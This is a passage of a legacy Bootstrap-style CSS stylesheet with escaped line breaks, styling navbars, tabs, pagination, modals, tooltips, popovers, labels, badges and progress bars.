#ddd;\n}\n\n.tabs-right > .nav-tabs > li > a {\n  margin-left: -1px;\n  -webkit-border-radius: 0 4px 4px 0;\n     -moz-border-radius: 0 4px 4px 0;\n          border-radius: 0 4px 4px 0;\n}\n\n.tabs-right > .nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #eeeeee #dddddd;\n}\n\n.tabs-right > .nav-tabs .active > a,\n.tabs-right > .nav-tabs .active > a:hover {\n  border-color: #ddd #ddd #ddd transparent;\n  *border-left-color: #ffffff;\n}\n\n.navbar {\n  *position: relative;\n  *z-index: 2;\n  margin-bottom: 18px;\n  overflow: visible;\n}\n\n.navbar-inner {\n  min-height: 40px;\n  padding-right: 20px;\n  padding-left: 20px;\n  background-color: #2c2c2c;\n  background-image: -moz-linear-gradient(top, #333333, #222222);\n  background-image: -ms-linear-gradient(top, #333333, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n  background-image: -webkit-linear-gradient(top, #333333, #222222);\n  background-image: -o-linear-gradient(top, #333333, #222222);\n  background-image: linear-gradient(top, #333333, #222222);\n  background-repeat: repeat-x;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n     -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n          box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), inset 0 -1px 0 rgba(0, 0, 0, 0.1);\n}\n\n.navbar .container {\n  width: auto;\n}\n\n.nav-collapse.collapse {\n  height: auto;\n}\n\n.navbar {\n  color: #999999;\n}\n\n.navbar .brand:hover {\n  text-decoration: none;\n}\n\n.navbar .brand {\n  display: block;\n  float: left;\n  padding: 8px 20px 12px;\n  margin-left: -20px;\n  font-size: 20px;\n  font-weight: 200;\n  line-height: 1;\n  color: #999999;\n}\n\n.navbar .navbar-text {\n  margin-bottom: 0;\n  line-height: 40px;\n}\n\n.navbar .navbar-link {\n  color: #999999;\n}\n\n.navbar .navbar-link:hover {\n  color: #ffffff;\n}\n\n.navbar .btn,\n.navbar .btn-group {\n  margin-top: 5px;\n}\n\n.navbar .btn-group .btn {\n  margin: 0;\n}\n\n.navbar-form {\n  margin-bottom: 0;\n  *zoom: 1;\n}\n\n.navbar-form:before,\n.navbar-form:after {\n  display: table;\n  content: \"\";\n}\n\n.navbar-form:after {\n  clear: both;\n}\n\n.navbar-form input,\n.navbar-form select,\n.navbar-form .radio,\n.navbar-form .checkbox {\n  margin-top: 5px;\n}\n\n.navbar-form input,\n.navbar-form select {\n  display: inline-block;\n  margin-bottom: 0;\n}\n\n.navbar-form input[type=\"image\"],\n.navbar-form input[type=\"checkbox\"],\n.navbar-form input[type=\"radio\"] {\n  margin-top: 3px;\n}\n\n.navbar-form .input-append,\n.navbar-form .input-prepend {\n  margin-top: 6px;\n  white-space: nowrap;\n}\n\n.navbar-form .input-append input,\n.navbar-form .input-prepend input {\n  margin-top: 0;\n}\n\n.navbar-search {\n  position: relative;\n  float: left;\n  margin-top: 6px;\n  margin-bottom: 0;\n}\n\n.navbar-search .search-query {\n  padding: 4px 9px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 13px;\n  font-weight: normal;\n  line-height: 1;\n  color: #ffffff;\n  background-color: #626262;\n  border: 1px solid #151515;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);\n  -webkit-transition: none;\n     -moz-transition: none;\n      -ms-transition: none;\n       -o-transition: none;\n          transition: none;\n}\n\n.navbar-search .search-query:-moz-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query:-ms-input-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query::-webkit-input-placeholder {\n  color: #cccccc;\n}\n\n.navbar-search .search-query:focus,\n.navbar-search .search-query.focused {\n  padding: 5px 10px;\n  color: #333333;\n  text-shadow: 0 1px 0 #ffffff;\n  background-color: #ffffff;\n  border: 0;\n  outline: 0;\n  -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n     -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n          box-shadow: 0 0 3px rgba(0, 0, 0, 0.15);\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n  position: fixed;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n  margin-bottom: 0;\n}\n\n.navbar-fixed-top .navbar-inner,\n.navbar-fixed-bottom .navbar-inner {\n  padding-right: 0;\n  padding-left: 0;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n\n.navbar-fixed-top {\n  top: 0;\n}\n\n.navbar-fixed-bottom {\n  bottom: 0;\n}\n\n.navbar .nav {\n  position: relative;\n  left: 0;\n  display: block;\n  float: left;\n  margin: 0 10px 0 0;\n}\n\n.navbar .nav.pull-right {\n  float: right;\n}\n\n.navbar .nav > li {\n  display: block;\n  float: left;\n}\n\n.navbar .nav > li > a {\n  float: none;\n  padding: 9px 10px 11px;\n  line-height: 19px;\n  color: #999999;\n  text-decoration: none;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.navbar .btn {\n  display: inline-block;\n  padding: 4px 10px 4px;\n  margin: 5px 5px 6px;\n  line-height: 18px;\n}\n\n.navbar .btn-group {\n  padding: 5px 5px 6px;\n  margin: 0;\n}\n\n.navbar .nav > li > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: transparent;\n}\n\n.navbar .nav .active > a,\n.navbar .nav .active > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #222222;\n}\n\n.navbar .divider-vertical {\n  width: 1px;\n  height: 40px;\n  margin: 0 9px;\n  overflow: hidden;\n  background-color: #222222;\n  border-right: 1px solid #333333;\n}\n\n.navbar .nav.pull-right {\n  margin-right: 0;\n  margin-left: 10px;\n}\n\n.navbar .btn-navbar {\n  display: none;\n  float: right;\n  padding: 7px 10px;\n  margin-right: 5px;\n  margin-left: 5px;\n  background-color: #2c2c2c;\n  *background-color: #222222;\n  background-image: -ms-linear-gradient(top, #333333, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));\n  background-image: -webkit-linear-gradient(top, #333333, #222222);\n  background-image: -o-linear-gradient(top, #333333, #222222);\n  background-image: linear-gradient(top, #333333, #222222);\n  background-image: -moz-linear-gradient(top, #333333, #222222);\n  background-repeat: repeat-x;\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n     -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);\n}\n\n.navbar .btn-navbar:hover,\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active,\n.navbar .btn-navbar.disabled,\n.navbar .btn-navbar[disabled] {\n  background-color: #222222;\n  *background-color: #151515;\n}\n\n.navbar .btn-navbar:active,\n.navbar .btn-navbar.active {\n  background-color: #080808 \\9;\n}\n\n.navbar .btn-navbar .icon-bar {\n  display: block;\n  width: 18px;\n  height: 2px;\n  background-color: #f5f5f5;\n  -webkit-border-radius: 1px;\n     -moz-border-radius: 1px;\n          border-radius: 1px;\n  -webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n     -moz-box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n          box-shadow: 0 1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-navbar .icon-bar + .icon-bar {\n  margin-top: 3px;\n}\n\n.navbar .dropdown-menu:before {\n  position: absolute;\n  top: -7px;\n  left: 9px;\n  display: inline-block;\n  border-right: 7px solid transparent;\n  border-bottom: 7px solid #ccc;\n  border-left: 7px solid transparent;\n  border-bottom-color: rgba(0, 0, 0, 0.2);\n  content: '';\n}\n\n.navbar .dropdown-menu:after {\n  position: absolute;\n  top: -6px;\n  left: 10px;\n  display: inline-block;\n  border-right: 6px solid transparent;\n  border-bottom: 6px solid #ffffff;\n  border-left: 6px solid transparent;\n  content: '';\n}\n\n.navbar-fixed-bottom .dropdown-menu:before {\n  top: auto;\n  bottom: -7px;\n  border-top: 7px solid #ccc;\n  border-bottom: 0;\n  border-top-color: rgba(0, 0, 0, 0.2);\n}\n\n.navbar-fixed-bottom .dropdown-menu:after {\n  top: auto;\n  bottom: -6px;\n  border-top: 6px solid #ffffff;\n  border-bottom: 0;\n}\n\n.navbar .nav li.dropdown .dropdown-toggle .caret,\n.navbar .nav li.dropdown.open .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n}\n\n.navbar .nav li.dropdown.active .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.navbar .nav li.dropdown.open > .dropdown-toggle,\n.navbar .nav li.dropdown.active > .dropdown-toggle,\n.navbar .nav li.dropdown.open.active > .dropdown-toggle {\n  background-color: transparent;\n}\n\n.navbar .nav li.dropdown.active > .dropdown-toggle:hover {\n  color: #ffffff;\n}\n\n.navbar .pull-right .dropdown-menu,\n.navbar .dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:before,\n.navbar .dropdown-menu.pull-right:before {\n  right: 12px;\n  left: auto;\n}\n\n.navbar .pull-right .dropdown-menu:after,\n.navbar .dropdown-menu.pull-right:after {\n  right: 13px;\n  left: auto;\n}\n\n.breadcrumb {\n  padding: 7px 14px;\n  margin: 0 0 18px;\n  list-style: none;\n  background-color: #fbfbfb;\n  background-image: -moz-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -ms-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f5f5f5));\n  background-image: -webkit-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: -o-linear-gradient(top, #ffffff, #f5f5f5);\n  background-image: linear-gradient(top, #ffffff, #f5f5f5);\n  background-repeat: repeat-x;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n     -moz-box-shadow: inset 0 1px 0 #ffffff;\n          box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.breadcrumb li {\n  display: inline-block;\n  *display: inline;\n  text-shadow: 0 1px 0 #ffffff;\n  *zoom: 1;\n}\n\n.breadcrumb .divider {\n  padding: 0 5px;\n  color: #999999;\n}\n\n.breadcrumb .active a {\n  color: #333333;\n}\n\n.pagination {\n  height: 36px;\n  margin: 18px 0;\n}\n\n.pagination ul {\n  display: inline-block;\n  *display: inline;\n  margin-bottom: 0;\n  margin-left: 0;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n  *zoom: 1;\n  -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.pagination li {\n  display: inline;\n}\n\n.pagination a {\n  float: left;\n  padding: 0 14px;\n  line-height: 34px;\n  text-decoration: none;\n  border: 1px solid #ddd;\n  border-left-width: 0;\n}\n\n.pagination a:hover,\n.pagination .active a {\n  background-color: #f5f5f5;\n}\n\n.pagination .active a {\n  color: #999999;\n  cursor: default;\n}\n\n.pagination .disabled span,\n.pagination .disabled a,\n.pagination .disabled a:hover {\n  color: #999999;\n  cursor: default;\n  background-color: transparent;\n}\n\n.pagination li:first-child a {\n  border-left-width: 1px;\n  -webkit-border-radius: 3px 0 0 3px;\n     -moz-border-radius: 3px 0 0 3px;\n          border-radius: 3px 0 0 3px;\n}\n\n.pagination li:last-child a {\n  -webkit-border-radius: 0 3px 3px 0;\n     -moz-border-radius: 0 3px 3px 0;\n          border-radius: 0 3px 3px 0;\n}\n\n.pagination-centered {\n  text-align: center;\n}\n\n.pagination-right {\n  text-align: right;\n}\n\n.pager {\n  margin-bottom: 18px;\n  margin-left: 0;\n  text-align: center;\n  list-style: none;\n  *zoom: 1;\n}\n\n.pager:before,\n.pager:after {\n  display: table;\n  content: \"\";\n}\n\n.pager:after {\n  clear: both;\n}\n\n.pager li {\n  display: inline;\n}\n\n.pager a {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 15px;\n     -moz-border-radius: 15px;\n          border-radius: 15px;\n}\n\n.pager a:hover {\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\n\n.pager .next a {\n  float: right;\n}\n\n.pager .previous a {\n  float: left;\n}\n\n.pager .disabled a,\n.pager .disabled a:hover {\n  color: #999999;\n  cursor: default;\n  background-color: #fff;\n}\n\n.modal-open .dropdown-menu {\n  z-index: 2050;\n}\n\n.modal-open .dropdown.open {\n  *z-index: 2050;\n}\n\n.modal-open .popover {\n  z-index: 2060;\n}\n\n.modal-open .tooltip {\n  z-index: 2070;\n}\n\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000000;\n}\n\n.modal-backdrop.fade {\n  opacity: 0;\n}\n\n.modal-backdrop,\n.modal-backdrop.fade.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n\n.modal {\n  position: fixed;\n  top: 50%;\n  left: 50%;\n  z-index: 1050;\n  width: 560px;\n  margin: -250px 0 0 -280px;\n  overflow: auto;\n  background-color: #ffffff;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, 0.3);\n  *border: 1px solid #999;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n     -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n          box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding-box;\n          background-clip: padding-box;\n}\n\n.modal.fade {\n  top: -25%;\n  -webkit-transition: opacity 0.3s linear, top 0.3s ease-out;\n     -moz-transition: opacity 0.3s linear, top 0.3s ease-out;\n      -ms-transition: opacity 0.3s linear, top 0.3s ease-out;\n       -o-transition: opacity 0.3s linear, top 0.3s ease-out;\n          transition: opacity 0.3s linear, top 0.3s ease-out;\n}\n\n.modal.fade.in {\n  top: 50%;\n}\n\n.modal-header {\n  padding: 9px 15px;\n  border-bottom: 1px solid #eee;\n}\n\n.modal-header .close {\n  margin-top: 2px;\n}\n\n.modal-body {\n  max-height: 400px;\n  padding: 15px;\n  overflow-y: auto;\n}\n\n.modal-form {\n  margin-bottom: 0;\n}\n\n.modal-footer {\n  padding: 14px 15px 15px;\n  margin-bottom: 0;\n  text-align: right;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  -webkit-border-radius: 0 0 6px 6px;\n     -moz-border-radius: 0 0 6px 6px;\n          border-radius: 0 0 6px 6px;\n  *zoom: 1;\n  -webkit-box-shadow: inset 0 1px 0 #ffffff;\n     -moz-box-shadow: inset 0 1px 0 #ffffff;\n          box-shadow: inset 0 1px 0 #ffffff;\n}\n\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \"\";\n}\n\n.modal-footer:after {\n  clear: both;\n}\n\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n\n.tooltip {\n  position: absolute;\n  z-index: 1020;\n  display: block;\n  padding: 5px;\n  font-size: 11px;\n  opacity: 0;\n  filter: alpha(opacity=0);\n  visibility: visible;\n}\n\n.tooltip.in {\n  opacity: 0.8;\n  filter: alpha(opacity=80);\n}\n\n.tooltip.top {\n  margin-top: -2px;\n}\n\n.tooltip.right {\n  margin-left: 2px;\n}\n\n.tooltip.bottom {\n  margin-top: 2px;\n}\n\n.tooltip.left {\n  margin-left: -2px;\n}\n\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top: 5px solid #000000;\n  border-right: 5px solid transparent;\n  border-left: 5px solid transparent;\n}\n\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-bottom: 5px solid transparent;\n  border-left: 5px solid #000000;\n}\n\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-right: 5px solid transparent;\n  border-bottom: 5px solid #000000;\n  border-left: 5px solid transparent;\n}\n\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-right: 5px solid #000000;\n  border-bottom: 5px solid transparent;\n}\n\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #ffffff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000000;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n}\n\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1010;\n  display: none;\n  padding: 5px;\n}\n\n.popover.top {\n  margin-top: -5px;\n}\n\n.popover.right {\n  margin-left: 5px;\n}\n\n.popover.bottom {\n  margin-top: 5px;\n}\n\n.popover.left {\n  margin-left: -5px;\n}\n\n.popover.top .arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-top: 5px solid #000000;\n  border-right: 5px solid transparent;\n  border-left: 5px solid transparent;\n}\n\n.popover.right .arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-right: 5px solid #000000;\n  border-bottom: 5px solid transparent;\n}\n\n.popover.bottom .arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-right: 5px solid transparent;\n  border-bottom: 5px solid #000000;\n  border-left: 5px solid transparent;\n}\n\n.popover.left .arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-top: 5px solid transparent;\n  border-bottom: 5px solid transparent;\n  border-left: 5px solid #000000;\n}\n\n.popover .arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n}\n\n.popover-inner {\n  width: 280px;\n  padding: 3px;\n  overflow: hidden;\n  background: #000000;\n  background: rgba(0, 0, 0, 0.8);\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n  -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n     -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n          box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);\n}\n\n.popover-title {\n  padding: 9px 15px;\n  line-height: 1;\n  background-color: #f5f5f5;\n  border-bottom: 1px solid #eee;\n  -webkit-border-radius: 3px 3px 0 0;\n     -moz-border-radius: 3px 3px 0 0;\n          border-radius: 3px 3px 0 0;\n}\n\n.popover-content {\n  padding: 14px;\n  background-color: #ffffff;\n  -webkit-border-radius: 0 0 3px 3px;\n     -moz-border-radius: 0 0 3px 3px;\n          border-radius: 0 0 3px 3px;\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding-box;\n          background-clip: padding-box;\n}\n\n.popover-content p,\n.popover-content ul,\n.popover-content ol {\n  margin-bottom: 0;\n}\n\n.thumbnails {\n  margin-left: -20px;\n  list-style: none;\n  *zoom: 1;\n}\n\n.thumbnails:before,\n.thumbnails:after {\n  display: table;\n  content: \"\";\n}\n\n.thumbnails:after {\n  clear: both;\n}\n\n.row-fluid .thumbnails {\n  margin-left: 0;\n}\n\n.thumbnails > li {\n  float: left;\n  margin-bottom: 18px;\n  margin-left: 20px;\n}\n\n.thumbnail {\n  display: block;\n  padding: 4px;\n  line-height: 1;\n  border: 1px solid #ddd;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n     -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n\na.thumbnail:hover {\n  border-color: #0088cc;\n  -webkit-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n     -moz-box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n          box-shadow: 0 1px 4px rgba(0, 105, 214, 0.25);\n}\n\n.thumbnail > img {\n  display: block;\n  max-width: 100%;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.thumbnail .caption {\n  padding: 9px;\n}\n\n.label,\n.badge {\n  font-size: 10.998px;\n  font-weight: bold;\n  line-height: 14px;\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  white-space: nowrap;\n  vertical-align: baseline;\n  background-color: #999999;\n}\n\n.label {\n  padding: 1px 4px 2px;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\n.badge {\n  padding: 1px 9px 2px;\n  -webkit-border-radius: 9px;\n     -moz-border-radius: 9px;\n          border-radius: 9px;\n}\n\na.label:hover,\na.badge:hover {\n  color: #ffffff;\n  text-decoration: none;\n  cursor: pointer;\n}\n\n.label-important,\n.badge-important {\n  background-color: #b94a48;\n}\n\n.label-important[href],\n.badge-important[href] {\n  background-color: #953b39;\n}\n\n.label-warning,\n.badge-warning {\n  background-color: #f89406;\n}\n\n.label-warning[href],\n.badge-warning[href] {\n  background-color: #c67605;\n}\n\n.label-success,\n.badge-success {\n  background-color: #468847;\n}\n\n.label-success[href],\n.badge-success[href] {\n  background-color: #356635;\n}\n\n.label-info,\n.badge-info {\n  background-color: #3a87ad;\n}\n\n.label-info[href],\n.badge-info[href] {\n  background-color: #2d6987;\n}\n\n.label-inverse,\n.badge-inverse {\n  background-color: #333333;\n}\n\n.label-inverse[href],\n.badge-inverse[href] {\n  background-color: #1a1a1a;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-moz-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-ms-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 0 0;\n  }\n  to {\n    background-position: 40px 0;\n  }\n}\n\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n\n.progress {\n  height: 18px;\n  margin-bottom: 18px;\n  overflow: hidden;\n  background-color: #f7f7f7;\n  background-image: -moz-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -ms-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));\n  background-image: -webkit-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: -o-linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-image: linear-gradient(top, #f5f5f5, #f9f9f9);\n  background-repeat: repeat-x;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n     -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n\n.progress .bar {\n  width: 0;\n  height: 18px;\n  font-size: 12px;\n  color: #ffffff;\n  text-align: center;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #0e90d2;\n  background-image: -moz-linear-gradient(top, #149bdf, #0480be);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));\n  background-image: -webkit-linear-gradient(top, #149bdf, #0480be);\n  background-image: -o-linear-gradient(top, #149bdf, #0480be);\n  background-image: linear-gradient(top, #149bdf, #0480be);\n  background-image: -ms-linear-gradient(top, #149bdf, #0480be);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n     -moz-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n      -ms-box-sizing: border-box;\n          box-sizing: border-box;\n  -webkit-transition: width 0.6s ease;\n     -moz-transition: width 0.6s ease;\n      -ms-transition: width 0.6s ease;\n       -o-transition: width 0.6s ease;\n          transition: width 0.6s ease;\n}\n\n.progress-striped .bar {\n  background-color: #149bdf;\n  background-image: -o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n     -moz-background-size: 40px 40px;\n       -o-background-size: 40px 40px;\n          background-size: 40px 40px;\n}\n\n.progress.active .bar {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n     -moz-animation: progress-bar-stripes 2s linear infinite;\n      -ms-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n\n.progress-danger .bar {\n  background-color: #dd514c;\n  background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: -o-linear-gradient(top, #ee5f5b, #c43c35);\n  background-image: linear-gradient(top, #ee5f5b, #c43c35);\n  background-repeat: repeat-x;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);\n}\n\n.progress-danger.progress-striped .bar {\n  background-color: #ee5f5b;\n  background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));\n  background-image: -webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n  background-image: -ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, 